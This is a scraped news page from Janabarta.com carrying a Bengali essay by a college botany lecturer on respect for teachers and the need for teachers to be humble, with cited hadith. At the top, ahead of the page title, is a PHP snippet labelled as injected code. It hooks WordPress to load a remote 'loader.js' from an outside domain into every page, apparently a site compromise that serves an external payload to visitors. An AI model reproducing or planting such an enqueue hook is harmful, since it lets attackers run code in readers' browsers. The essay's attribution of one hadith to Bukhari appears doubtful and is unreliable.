// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site শিক্ষকদের কখনো অহংকার থাকতে নেই - Janabarta.com

শিক্ষকদের কখনো অহংকার থাকতে নেই

শান্তা ঊর্মিলা মৌ:

ইসলামে একজন শিক্ষকের মর্যাদা অনেক উপরে, আমার ধারণা অন্য যে কোনো ধর্মেই তা উল্লেখ থাকার কথা। ছোটো বেলায় এতো ধর্মীয় রিসার্চ করিনি কিন্তু কখনো কোনো শিক্ষকের সাথে খারাপ আচরন করেছি বলে মনে পড়ে না, আত্মবিশ্বাস আছে কোনো শিক্ষক বেয়াদবির অপবাদ ও দিতে পারবে না,বাকিটা আল্লাহ মালুম। বরং অনেক সময় ই অনেক শিক্ষক জীবনে চলার পথে অনেক দোয়া করেছেন, অনেক সময় আমার সামনেই হয়তো কোনো ব্যাপারে খুশি হয়ে উপস্থিত ভাবে মঙ্গল কামনা করেছেন। হ্যাঁ, হয়তো মনে হতে পারে আমি তাতে কোন বিশেষ ব্যক্তি হতে পেরেছি, কি ই বা করতে পেরেছি এতো দোয়া আশীর্বাদ এর বিনিময়ে!! যদি অতি নগন্য কিছুও হয়ে থাকি তাতেও বিশ্বাস করি শিক্ষকদের দোয়া আছে তাতে, আর যেসব ব্যর্থতা বহন করছি সেগুলো হয়তো শিক্ষকদের কথাগুলো আরও যথাযথ ভাবে মানলে, তাদের আরও ভক্তি শ্রদ্ধা করলে হয়তো বা অর্জন করতে ও পারতাম! জানি না! আল্লাহ সবকিছুর ঊর্ধ্বে। এতো কিছু বলার কারণ এই না যে আমি এখন নিজেই শিক্ষক, বরং আমার নিজের ব্যক্তিগত অনুভূতি থেকে আমার শিক্ষাগুরুদের প্রতি আমার সেই কোমল বয়সের অনুভূতিরই প্রকাশ মাত্র। আমার সব সময় ই বিশ্বাস ছিলো শিক্ষকদের সাথে খারাপ আচরন জীবনে কখনোই মঙ্গল বয়ে আনে না। অনেক বেয়াদব ছাত্র ছাত্রী সেই আমাদের সময়ের এখন দেখি তারা অনেকেই খারাপ অবস্থায় আছে হয় আর্থিকভাবে অথবা বিত্তশালী হয়েও সামাজিকভাবে অথবা সব আছে কিন্তু সুখ নেই। অবিশ্বাস করা আসলে খুব সহজ, বিশ্বাস করাটা কঠিন। মা বাবার সাথে খারাপ আচরন করলে জীবনে অমঙ্গল হতে পারে সেটা বিশ্বাস করেন? পরিবারের শিক্ষা যেখানে মা বাবা থেকেই পাওয়া, একটু বড় হয়ে যাওয়ার পর সে শিক্ষা প্রদানের দায়িত্ব আস্তে আস্তে অল্প অল্প করে শিক্ষাগুরু নিয়ে নেয়, তিনি তো মা বাবার ই মতো।আমরা যদি শিক্ষকদের অমর্যাদা করি তবে কি আমরা পিতা মাতাদের অমার্যাদা করতে বলছি না? পৃথিবীর কোন প্রেসিডেন্ট, কোন প্রধানমন্ত্রী, কোন রাজা শিক্ষকের সংস্পর্শ ছাড়া সে স্থানে গিয়েছে? রাজপুত্রকে যে তীর নিক্ষেপ শেখায় তিনিও সেই রাজপুত্রের শিক্ষক, শিক্ষক কেবল একটা নির্দিষ্ট বিষয়ের না। আমি যদি কেবল আমার শিক্ষকদের সম্মান করি আর অন্য যাদের সংস্পর্শে আসতে হয়নি আমার সেই শিক্ষকদের অমর্যাদা করি তাহলে আমি আমার সন্তানদের কিভাবে শিক্ষকদের সম্মান করা শেখাবো? নাকি আমার সন্তান কে কখনো শিক্ষকদের কাছে পাঠাতে হবে না? মানলাম বাচ্চাদের বিদেশে পড়ানো যায়, কিন্তু সেখানেও থাকবে ভিনদেশী শিক্ষক, সে ইংরেজি পড়াক, বিজ্ঞান পড়াক, বাংলা পড়াক বা ধর্মগ্রন্থ পড়াক, সে শিক্ষক।ঘর থেকে যেকোনো শিক্ষা দেয়া কি উত্তম নয়?

সবচেয়ে ভালো লাগার ব্যাপার হচ্ছে শিক্ষকদের কখনো অহংকার থাকতে নেই। অহংকারী শিক্ষক কখনো ভালো পড়াতে পারেন না। ছাত্রদের সাথে তাকে সুন্দর করে মিশতে হবে, তাহলেই পাঠদান সহজ সাবলীল হয়, অভিভাবকদের সাথে মিশতে হয় তার সন্তানের ভালো মন্দের ব্যাপারে পরামর্শ দিতে। কারো সাথেই তারা অহংকার দেখাতে পারে না কারণ প্রতি ঘরে তার ছাত্র, প্রতি ঘরে ছাত্রের অভিভাবক। মূলত অহংকার করার কিছুই নেই, কারণ অহংকার না করাটাই যে শিক্ষক ছাত্রকে শিক্ষা দেন।

হাদিসে বর্ণিত হয়েছে, ‘আল্লাহর পরে, রাসূলের পরে ওই ব্যক্তি সর্বাপেক্ষা মহানুভব যে জ্ঞানার্জন করে ও পরে তা প্রচার করে।’ (মিশকাত শরিফ)

রাসুল (সা.) বলেন- ‘আল্লাহর পরে, রাসুলের পরে ওই ব্যক্তি সর্বাপেক্ষা মহানুভব, যে বিদ্যার্জন করে ও পরে তা প্রচার করে (বুখারি :৪৬৩৯)।

খলিফা উমর (রা.) ও উসমান (রা.) তাদের শাসনকালে শিক্ষা ব্যবস্থাকে অত্যাধিক গুরুত্ব দিয়েছিলেন। শিক্ষক ও ধর্মপ্রচারকদের জন্য বিশেষ ভাতার ব্যবস্থা করেছিলেন তারা । হজরত উমর (রা.), ওসমান (রা.) এর যুগে মুয়াজ্জিন, ইমাম ও শিক্ষকদের সরকারি ভাতা দেওয়া হতো (কিতাবুল আমওয়াল, ১৬৫)।

অন্য ধর্মাবলম্বীরাও যার যার ধর্মগ্রন্থের আলোকে পর্যালোচনা করতে পারেন।

লেখিকাঃ প্রভাষক, উদ্ভিদবিজ্ঞান বিভাগ
পটুয়াখালী সরকারি কলেজ।